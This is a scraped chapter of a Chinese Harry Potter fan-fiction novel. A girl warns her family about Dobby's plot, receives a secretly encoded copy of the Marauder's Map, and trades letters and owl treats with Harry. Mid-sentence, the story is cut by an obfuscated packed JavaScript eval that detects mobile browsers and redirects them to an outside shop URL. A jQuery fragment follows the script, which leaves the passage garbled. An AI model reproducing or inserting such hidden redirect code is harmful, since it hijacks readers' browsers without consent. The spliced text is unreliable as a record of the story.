文趣网 > 都市小说 > [HP]暗流之下 > 34. 第 34 章
    艾丽莎沿着石板路走到暖炉饼房门口,推开门,那股混合着黄油和烤面粉的暖香扑面而来。

    帕特里特坐在靠窗的桌子旁边,面前放着一杯已经凉了半截的茶和一只空碟子,正低头翻着一本薄薄的册子。

    听到门响他抬起头来,目光在艾丽莎脸上停了一瞬,看着她依然挂着笑容的小脸,确认了她今天的确玩的很开心,然后他把册子合上,站起来:“走吧。”

    “爹地,”她的声音不高,但比刚才说话时多了一层安静的分量:“我们能先不回外祖父家吗?我想回一趟庄园,有些事情,我想当面告诉您和祖父。”

    帕特里特侧过头,目光在她脸上停了一瞬。他没有问“什么事”,也没有说“改天再说”,只是沉默地看了她两秒,像是在确认她脸上的认真程度,确认她不是心血来潮,确认这句话是她想清楚之后才说出口的。“好。”

    进入三楼的雪松房,艾丽莎和帕特里特迈进了壁炉里。

    “鹿角炉。”她清晰地说。

    绿焰卷过她身体的那一瞬间,世界变成了一团被压缩的风和光,大约六七秒之后她脚下一实,稳稳地落在了庄园的壁炉里。

    弗雷德里克不在客厅里,管家说他在书房。

    艾丽莎走到那扇熟悉的橡木门前,轻轻敲了两下。门内传来一声平缓的“进来”,她推门走进去,帕特里特跟在她身后。

    弗雷德里克坐在书桌后面,面前摊着一本翻到一半的旧书,老花镜架在鼻梁上。他抬起视线看到艾丽莎和帕特里特一前一后地走进来,眉毛微微动了一下,不是惊讶,而是一种“这个时间不该出现在这里的人出现了”的细微确认。

    “祖父,”艾丽莎在书桌前站定,声音比她自己预想中要平稳一些,“我有些事情想告诉您和父亲。”

    弗雷德里克放下手中的书,把老花镜摘下来,放在书页之间夹好。他朝对面的椅子抬了抬下巴,示意她坐下。帕特里特没有坐,他在窗边的位置站定了,双臂微微环在身前,目光落在他女儿身上。

    艾丽莎坐下来,沉默了片刻,像是在心里把这句话最后整理了一遍,然后开口了:“今天在萨里郡那边,我和哈利在女贞路附近的绿化带里遇到了一只家养小精灵。它拦截了哈利整个暑假的猫头鹰信件,不让任何一封寄到哈利手里。为了让他以为朋友们都把他忘了,从而打消他回霍格沃茨的念头。”

    弗雷德里克的目光没有移动,他安静地听着。

    “小精灵叫多比。它说有人在霍格沃茨策划了一个很大的阴谋,说哈利如果回学校就会有生命危险。”艾丽莎的声音稳定了一些,“它没有说具体的阴谋是什么,但它反复强调了一点:有阴谋。这个小精灵,我听说过它的名字,它来自——”

    她停了一瞬,目光落在弗雷德里克和帕特里特之间,那个名字像一块被斟酌过重量的石头,她把它放了下来,“马尔福家族。”

    书房里安静了片刻,壁炉里的火焰跳了一下,在墙壁上投下一阵轻微晃动的影子。

    弗雷德里克靠回椅背,两根手指搭在桌沿,指腹轻轻摩挲着桌面上那道旧木纹的棱线。他没有立刻开口,目光越过艾丽莎的头顶落在窗外的暮色里,像是在把她说的话放到一张更大的地图上仔细比对了位置。

    帕特里特站在窗边也没有说话,但他的眉头比刚才稍微低了一点,像是那根线被拉紧了一度。

    过了一会儿,弗雷德里克重新把目光落回艾丽莎脸上,声音平缓而清晰:“一只来自马尔福庄园的家养小精灵,告诉波特不要回霍格沃茨,因为那里有阴谋。对波特来说,这件事的严重程度在于他本人的安危。对我们来说,”他微微顿了一下,“马尔福家族是斯莱特林的核心成员之一,而卢修斯·马尔福和那一边的关系,并不是秘密。”

    艾丽莎没有接话,她只是安静地坐在椅子里,等着祖父把这句话的最后一片拼图也放上去。

    弗雷德里克把手指从桌沿收回来,双手交握放在身前,声音比刚才低了一些,像是接下来的话只说给这间屋子里的人听:“你把这个消息带回来是对的。剩下的,”他看了帕特里特一眼,帕特里特在窗边朝他微微点了一下头,“我们来处理。”

    艾丽莎从椅子上站起来,心里的那块石头落了一半,另一半还悬着,但至少她把这个消息交出去了,交到了能接住它的人手里。她朝弗雷德里克微微欠了欠身,转身准备跟帕特里特一起离开书房。

    走到门口的时候她忽然停住了脚步,她的手在门把手上搭了片刻,然后转过身来,目光落向书桌的方向。

    “祖父,”她开口,声音比刚才稍微轻了一些,“还有一件事。”

    弗雷德里克从书页上方抬起目光,看着她。

    艾丽莎从手袋里掏出那张叠得整整齐齐的旧羊皮纸,平放在书桌上,指尖在纸面上轻轻压了一下。

    “这张地图,”她说,“二年级开学晚宴那天我需要还给韦斯莱兄弟。但我,”她顿了一下,像是在找一个合适的措辞,“我想问,您和父亲能不能在这之前帮我复制一份?”

    弗雷德里克的目光落在那张地图上,停了一会儿,没有立刻回答。

    他伸手把地图拉到面前,指尖沿着一条走廊线条缓缓滑过去,像是在用触觉确认这张纸的质地和上面所承载的东西的分量。

    帕特里特看了弗雷德里克一眼,父子二人之间进行了一个短暂的、几乎无声的交流。眉毛抬了抬,下巴微微一动,像是某种已经被重复过太多次、不再需要语言的家庭默契。

    弗雷德里克重新靠回椅背,食指在桌面上轻轻叩了一下,然后他把活点地图拢过来,折好,掌心覆在上面。

    “地图先留下,”他说,声音不紧不慢,像是这件事已经被他接过去了,“我会处理。”

    他看了帕特里特一眼:“你们早点回贝福德11号,安德鲁和玛丽他们应该在等你们吃晚饭了。”

    艾丽莎的目光在那张被祖父掌心覆住的地图上停了一瞬,然后她收回视线,点了点头。

    她转身朝门口走去,帕特里特跟在她身后,在跨出书房门之前回头看了一眼弗雷德里克,老人已经重新拿起了那本摊开的旧书,活点地图被压在了书页下面,只露出一角泛黄的边沿,像是一个被收好了的承诺。

    艾丽莎和帕特里特沿着走廊往回走,脚步踏在旧木地板上发出轻微的吱呀声。

    “走吧,”他说,“玛丽应该烤了你爱吃的栗子酥饼。”

    ……

    八月中旬的一个下午,艾丽莎坐在安布罗斯庄园一楼小书房里,膝上摊着一本约三百页的对开本手稿——《元素共振与空间架构之根本》。

    这是家族藏书室最古老的手稿之一,书脊由龙筋缝合,内页是一种经过“不灭处理”的不知名兽皮纸,触手微凉,不腐不蛀,在窗边的光线下泛着沉静的浅褐色。书页上用古代魔纹和拉丁文交替书写,密密麻麻的正文之间穿插着大量手绘阵图,线条精细得像是用一根头发画出来的。

    艾丽莎翻到其中一页,指尖停在一幅圆形阵图旁边。阵图中央画着一颗被层层环绕的菱形标记,旁边用极小的拉丁文注了一行字:“元素石——魔法之源的凝结形态。”

    她往后翻了几页,手稿的作者用了整整五章篇幅论述元素石的成因和结构。

    原理并不复杂:元素石是一种封存了魔法元素本源力量的矿物结晶,但它的形成条件极为苛刻。首先,它只能以“晶母岩”为基底——魔法界目前已知唯一能吸纳并储存魔法元素的矿石。其次,晶母岩必须恰好位于元素浓度极高的地脉交汇处,再经过至少三百年的沉淀,魔法元素才能被缓慢吸纳、压缩、固化,最终才能凝成一枚指甲盖大小的元素石。

    艾丽莎听祖父说过,现在整个欧洲的地脉矿脉已经全面枯竭。此前的几个世纪里,欧洲的大小巫师家族依靠开采这些矿脉维持着魔法阵运转、建筑加固和各类高端炼金术的需求。

    但随着矿脉逐渐耗尽,新生的元素石变得越来越稀少,老牌贵族们只能靠祖上积累的库存勉强支撑着各自的防护结界和家族阵法的运转。

    艾丽莎看到这里合上了手稿,目光落向窗外午后安静的庭院。

    她想起父亲曾经提过,家族庄园的防护阵法核心就嵌着一颗拳头大小的复合型元素石,那是安布罗斯家一代代传下来的最珍贵的资产之一。

    在最动荡的那几年,整个庄园的魔法结界全靠那颗石头撑着。祖父说,那颗石头在他小时候比现在还要大上一圈。三百年沉淀才能凝出拇指大小的一颗,而安布罗斯庄园那颗至今仍有拳头那么大——光是这一点,就足够在如今元素石几近绝迹的魔法界让任何一个懂行的人倒吸一口冷气。

    那颗石头被嵌在庄园地底阵眼中央的岩座上,周围刻满了加固和延缓消耗的古老魔纹,几代人小心翼翼地养护着它,像捧着一盏不敢被风吹灭的火。

    就在艾丽莎感叹旧时代遗留下来的东西,确实是一种沉默的财富的时候,门口传来一声轻敲房门的声音,艾丽莎抬起头,埃德蒙站在门口,微微欠了欠身:“小姐,老爷和先生请您去书房一趟。”

    艾丽莎把手稿合拢放在桌面上,站起来跟着埃德蒙上了楼。

    弗雷德里克的书房门半敞着,蓝白色的光线从门缝里透出来,这一次,空气里没有上次谈话时的那种沉甸甸的审度感。

    艾丽莎推门进去的时候,弗雷德里克坐在书桌后面的高背椅里,帕特里特站在窗边,两人之间的桌面上放着那张熟悉的羊皮纸和一只扁平的、深棕色的皮质卷轴盒,盒口用一根暗绿色的皮绳系着。

    艾丽莎的目光落在那只盒子上,脚步微微顿了一下。她认得那只盒子——那是家族用来存放重要卷轴和地图的古物之一,盒面边缘压着一圈极细的暗银色纹路,在烛光里若有若无地闪一下。

    “坐。”弗雷德里克抬了抬下巴,语气和上次一样简洁,但尾音里没有那种审度的重量,更像是在说一件终于可以交付的事。

    艾丽莎在书桌对面坐下。帕特里特从窗边走过来,伸手解开那只卷轴盒的皮绳,打开盒盖,从里面取出一张卷好的纸,在她面前展开。

    那是一张比普通羊皮纸颜色更深、质地更厚的纸,边缘裁得整整齐齐,在光线下泛着一层极浅的、几乎不可察觉的珠光。

    艾丽莎低头看过去,一眼就认出了那些线条:霍格沃茨城堡的七层主楼、四座塔楼的截面、地下的地窖和地下室结构、城堡周围的湖面轮廓和禁林边界。那些线条不是用普通墨水绘制的,在光线转动时会微微闪烁出一层银灰色和暗绿色交织的光泽,像是被藏在了纸的深处,只在特定角度才会浮现出来。

    弗雷德里克靠在椅背上,双手交握搭在身前,看着她低头端详那张地图的表情,没有急着说话。帕特里特站在桌边,双臂微微环抱,目光落在她低垂的头顶上,像是在等她开口。

    “这是根据活点地图重新制作的,”帕特里特说,声音比他平时低了一些,像是在陈述一件需要被认真对待的事,“活点地图本身有它创造者留下的防护咒语,不能直接复制,所以我们换了一种方法。”

    他伸手点了点地图边缘一道几乎看不见的暗银色纹路:“我先用分离咒把原地图的追踪功能暂时冻结了,提取了它的魔法矩阵和空间坐标数据。然后你祖父用古代魔纹把那些矩阵和坐标重新编码,转到了这张火龙皮鞣制的纸上。”

    艾丽莎的指尖沿着地图边缘那道暗银色纹路轻轻划过,纸张在她手指经过的地方微微亮了一下,像是一池平静的水面被丢了一颗石子,随后又恢复了原样。

    “墨水是专门调的,”弗雷德里克开口了,声音不紧不慢,像是在讲一个他已经准备好很久的说明,“墨水混合了你父亲的血液、月光石粉末和隐身兽毛发。血液用于把家族秘传的自生符文嵌入地图,那些符文能让拥有你父亲血脉的地图持有者在接触未知空间之后自动记录,并同步更新到地图的魔法内核里。”

    “配合隐身兽的毛发,“帕特里特接过了话头,“让这张图的内容只有我们能看见,别人拿在手里,看到的只是一张空白的火龙皮纸。”

    艾丽莎的目光从地图上抬起来,在弗雷德里克和帕特里特之间来回移了一下,像是想把这句话的每一层分量都接住。

    帕特里特看着她,目光沉静,语气里多了一层认真的叮嘱:“我们在所有魔法坐标和矩阵中都加入了追踪功能,还包括未来会新生成的。所以这张地图的定位广度和精度将会远超

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822117|211165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    原来的那份。”

    “但有一些事情你要记住。”他微微俯身,两根手指轻轻压在地图边缘,像是要把接下来那句话的重量也一并压下去:“地图的自生需要靠持有人的魔力激发。这张图在你手中的时候,就只认你一个人,你走过的地方才会被记录。完善地图不能急于一时,同一时间探索大量未知区域去绘制地图,容易抽干一个二年级巫师的魔力。”

    艾丽莎沉默了片刻,然后缓缓地、认真地点了一下头:“我知道了。”

    弗雷德里克指尖在桌面上轻轻叩了一下,目光从半月形的镜片后面看过来,“别因为有地图就肆无忌惮地夜游。它是一张地图,不是一张通行证。”

    艾丽莎点了点头,把那张火龙皮地图卷起来,放回了卷轴盒中,朝弗雷德里克和帕特里特各看了一眼:“谢谢祖父,谢谢父亲。”

    弗雷德里克微微点了一下头,然后重新靠回椅背,像这件事已经正式了结了。

    帕特里特站在窗边,目光在她脸上停了一瞬,那一眼里没有多的话,但带着一种“你知道轻重就行”的默许。

    艾丽莎抱着卷轴盒和活点地图退出了书房,轻轻带上了门。

    她站在走廊里低头看了一会儿那只盒子,指尖蹭过盒面边缘那道暗银色的纹路,然后抿了一下嘴角,转身朝自己的房间走去。

    时间像窗外的树影一样无声地移过去。

    八月的后半段,艾丽莎把大部分时间泡在了小书房里——一半是翻那本《元素共振与空间架构之根本》,另一半是在自己的房间里摊开那张火龙皮地图,看着那些细密的小点在地图上游移,进一步熟悉城堡的轮廓和那些已经被绘制出来的走廊结构,她已经能把从门厅到斯莱特林公共休息室的路在线条里闭着眼睛走一遍了。

    一天午后,一只雪白的猫头鹰扑棱着翅膀落在了安布罗斯庄园二楼窗台的栏杆上,艾丽莎正在房间里整理暑假看过的笔记,听到窗户玻璃上传来一声轻啄,抬头就看见了海德薇歪着脑袋朝她看,琥珀色的眼睛里带着那种“我给你送了东西来,快开窗”的神气。

    艾丽莎推开窗,海德薇跳进来,落在她的书桌角上,抬起一只绑着小羊皮纸卷的爪子。

    艾丽莎解下信卷,展开来,认出上面那行被猫头鹰爪子蹭得稍微有点歪的字迹——哈利的字,比一年级的时候稍微稳了一些,但还是带着一种急急忙忙写完就想寄出去的潦草感。

    “下周三下午,我和赫敏、罗恩约好去对角巷买二年级的书,你要不要一起?——哈利”

    艾丽莎看完,从笔筒里抽出一支羽毛笔,在信纸背面写了一个大大的“好”字,想了想又加了一句:“到丽痕书店门口和你们碰头。”

    她把信卷重新系回海德薇的爪子上,顺手从书桌旁边的柜子里掏出一个小罐子——那是洛奇用肉干和一种特制的谷物粉混的猫头鹰粮。

    海德薇显然没有忘记这个味道。艾丽莎刚打开罐盖,那只雪白的猫头鹰就迫不及待地伸过头来,尖喙轻轻啄了一下她的指腹,然后像一只被开了闸的水龙头一样埋头吃了起来,脖颈上的羽毛微微蓬起,喉咙里发出一串满足的、低沉的咕咕声。

    艾丽莎看着它那副“我终于吃到好东西了”的架势,忍不住笑了一下,又倒了一小把在桌面上。

    艾丽莎想起每次她在黑湖边散步的时候,海德薇总是能精准地找到她,不知道是认出了她的气味还是记住了她外套的颜色,总之只要她出现在湖边,那只白色的大鸟就会从塔楼的方向扑棱棱飞下来,落在她旁边,歪着头等着投喂。

    海德薇有时候甚至会在她刚走出城堡大门没几步就出现,像是在某个看不见的位置蹲点守候。

    久而久之,艾丽莎包里总是随身揣一小包猫头鹰粮,用来打点这位不请自来的常客。

    因此,黑尔加和海德薇的关系一直不怎么好。

    艾丽莎自己的猫头鹰黑尔加是一只黑褐色的、体型比海德薇大一圈的雌性雕鸮,看起来沉稳,实际上却是个格外傲娇的主。她对领地有非常清晰的概念,但凡是她认定了属于自己的地盘,寸步不让,尤其不能容忍另一个同类出现在自己的“投喂区”内。

    海德薇每次飞过来蹭猫头鹰粮的时候,黑尔加总是蹲在附近的树枝上,把脸扭向另一边,耳朵附近的羽毛微微炸开,像一只正在生闷气的大型毛球。

    她的姿态分明在说:“我没在看。我不在乎。你喂她好了。”

    但艾丽莎知道她全看在眼里,因为每次海德薇啄完最后一口,心满意足地飞走之后,黑尔加就会悄无声息地滑落、用喙轻轻啄一下艾丽莎的手指,然后斜着眼睛看着艾丽莎手里那包猫头鹰粮,那表情翻译过来大概是:“那本都该是我的。”

    艾丽莎看着面前的海德薇把最后一点猫头鹰粮啄干净,又低头用喙梳理了一下胸口的羽毛,然后心满意足地振翅飞离了窗台。那道雪白的影子在午后的天空里越变越小,融进了远处一片淡灰色的云层里。

    艾丽莎刚把空了的罐子盖好,黑尔加立马无声地滑翔下来,落在窗台上,稳稳地蹲下,歪着脑袋看着她,一双橙黄色的圆眼睛眨也不眨。

    艾丽莎叹了口气,重新打开猫头鹰粮罐,倒了一小把在掌心递过去。黑尔加慢悠悠地低下头,一粒一粒地啄着,姿态优雅而从容,像是在宣告:现在才是正式的喂食时间。

    “没事的,”艾丽莎伸手摸了摸黑尔加的头顶,“她不会每天都来的。”

    黑尔加没有回答,只是微微眯了一下眼睛,然后把头转向另一边,像是这个话题已经被她结束了。

    艾丽莎收回手,窗外的庭院还浸在夏末的暖阳里,远处隐约传来阿尔伯特追着蝴蝶跑过草坪的笑声和乔治亚娜喊他“慢一点”的叮嘱,一切都安稳得像一块被阳光晒透了的旧毯子。

    但她知道这种安稳是暂时的,是书页翻过之前那一页末尾短暂的留白。

    她该把心从这份柔软的、被家人包围的日常中抽离出来了。二年级的剧情已经在不远处的铁轨上等着她,和去年一样,前方不会只有新课表和图书馆的安静下午。

    她低头看了一眼桌角那只深棕色的卷轴盒,指尖在盒面上轻轻按了一下,然后站起身,开始把散落的笔记和文具一一收好。